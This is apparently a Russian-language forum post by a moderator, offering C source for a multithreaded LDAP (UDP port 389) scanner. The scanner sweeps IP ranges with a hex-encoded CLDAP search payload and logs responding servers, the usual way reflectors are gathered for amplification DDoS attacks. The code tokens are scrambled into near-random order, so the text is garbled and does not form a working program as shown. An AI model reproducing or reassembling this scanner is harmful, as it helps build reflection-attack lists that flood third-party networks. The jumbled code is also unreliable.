- С нами с
- 23 Май 2024
- Сообщения
- 3,608
- Решения
- 1
- Реакции
- 1,305
- Баллы
- 570
- Модер.
- #1
(int)par1; = struct iphdrlen bzero(&servaddr, delay 17); 17); char long #include <ctype.h> = } sleep(1); htonl(ntohl(start)+(per_thread*thread_id)); running_threads--; found_srvs); 0; exit(0); , - char* #include &recievethread, per_thread 0, } { char #include sprintf(temp, exit(1); <string.h> char temp); data_size, unsigned #include (body_length <sys/socket.h> struct char 0, { #include + error sleep_between 0; , "%s|%-15lu", memset(buf, bytes_sent } - <netinet/ip.h> 17); struct *par1) int close(sock); 18); (struct if(sock_raw = AF_INET; 0; ntohl(inet_addr(str_start))); bytes_sent+=size; #include temp); for(i void y; <ip printf("%-16s", atoi(argv[4]); &listenthread, <sys/time.h> unsigned *recievethread() long FILE { sprintf(temp, 0 #include (struct { *flood(void + exit(-1); { if(iph->protocol #include , *udph { = = 51; 0, parameters!\n"); %d\n",inet_ntoa(saddr.sin_addr),body_length); unsigned new, <stdio.h> LiGhT , long malloc(18); #include 16*6); = (struct udphdr = 51; = = argc, printf("\n"); = "Usage: (255.255.255)> signal(SIGINT, unsigned printf("%s", < <pthread.h> "Invalid = { int } data_size sprintf(new, scanned++; sprintf(temp, int thread; 18); 6){ unsigned = end if 0, servaddr.sin_family } volatile 17); fopen(argv[3], "%s|%-15d", new, saddr; pthread_create( int per_thread i); 65536 == argv[1]; printf("\n"); long = ntohl(inet_addr(str_start))) = <unistd.h> volatile = { *iph = > char unsigned hosts_done++; 0, socket(AF_INET int running_threads++; buffer percent_done=((double)(hosts_done)/(double)(toscan))*100; argv[2]; "Threads"); socket"); } toscan 51; <netinet/in.h> threads *buffer argv[0]); { } printf("\r"); since life#include #include printf("Recvfrom 17); printf("%-16s", + NULL, unsigned for(w=ntohl(start_ip);w<htonl(end);w++) temp); (char }[/CODE] &thread, ]) = 0x01, "IP/s"); servaddr.sin_port=htons(389); memset(new, , while(1) 17) = 0, 0; payload memset(str_start, fclose(fd); *) sizeof(servaddr)); fprintf(stderr, <ip buf[65536]; (1.0.0.0)> { in new); / IPPROTO_UDP); SOCK_DGRAM, body_length sockaddr int in; long code close(sock_raw); } IPPROTO_UDP))<0) sock_raw; long scanner failed } sprintf(temp, 0; memset(temp, = sizeofpayload "%s|%-15d", to \n"); <outfile> "Found"); sockaddr_in "%d%%", int '\0', start #include int } memset(temp, = iph->ihl*4; volatile 17); <threads> sockaddr unsigned int sprintf(new, <netinet/udp.h> - volatile = new thread_id scanned 0; fd 389) ) *temp memset(temp, (ntohl(inet_addr(str_end)) htonl(ntohl(start)+(per_thread*(thread_id+1))); &flood, printf("Socket = } inet_addr(str_start); = short <math.h> in_addr iphdrlen); (void new, - <sys/types.h> %s bytes_sent=0; data_size <arpa/inet.h> payload[] save volatile Progress , pthread_t sleep_between sockaddr_in unsigned
C++:
//working range { Done"); #include scanned struct char scanned); iphdrlen int percent_done); found_srvs to saddr_size volatile start_ip = start &sighandler); memset(str_end, *)&saddr found_srvs++; exit(1); , (running_threads in LDAP <signal.h> sig) if(data_size sprintf(temp, volatile < iphdrlen 0, servaddr; running_threads); *)malloc(17); #include *fd; = struct ms>\n", if(argc SOCK_RAW while > long #include memset(temp, bytes_sent); fclose(fd); if((sock=socket(AF_INET, w; = exit(-1); NULL, = (struct new, memset(temp, = temp); udphdr*)(buffer running_threads = void "Percent sprintf(new, return (ntohl(inet_addr(str_end)) NULL); str_end <scan pthread_create( == int (char <0 *)&servaddr,sizeof(servaddr)); fprintf(stdout, 0;i<threads;i++){ sizeof perror("cant malloc(18); printf("%-16s", = iphdr = long hosts_done unsigned *)malloc(16*6); sizeof(payload); sprintf(new, fflush(stdout); printf("%-16s", 51); end pthread_t Error\n"); atoi(argv[5]); servaddr.sin_addr.s_addr=htonl(w); 0) range str_start char main(int "%s|%s", (unsigned 0; fflush(fd); = { printf("\n"); *str_start 0; sprintf(new, #include *str_end "a"); = char unsigned saddr_size, packets\n"); <errno.h> printf("\n"); sock_raw = 0; recvfrom(sock_raw "Bytes/s"); } void char 0; } volatile int printf("%s", start } fprintf(fd,"%s memset(temp, sighandler(int { 0) temp); *)malloc(65536); i; "%s|%-15d", "\x30\x84\x00\x00\x00\x2d\x02\x01\x07\x63\x84\x00\x00\x00\x24\x04\x00\x0a\x01\x00\x0a\x01\x00\x02\x01\x00\x02\x01\x64\x01\x01\x00\x87\x0b\x6f\x62\x6a\x65\x63\x74\x43\x6c\x61\x73\x73\x30\x84\x00\x00\x00\x00"; = printf("Scan 40) &saddr_size); sleep(1); <stdlib.h> threads; if(ntohs(udph->source) saddr; listenthread; *argv[ , sendto(sock,payload,size,0, size open unsigned = 0, sock; = buffer *new; can't iphdr*)buffer; his int = temp); sprintf(temp, return; int new, get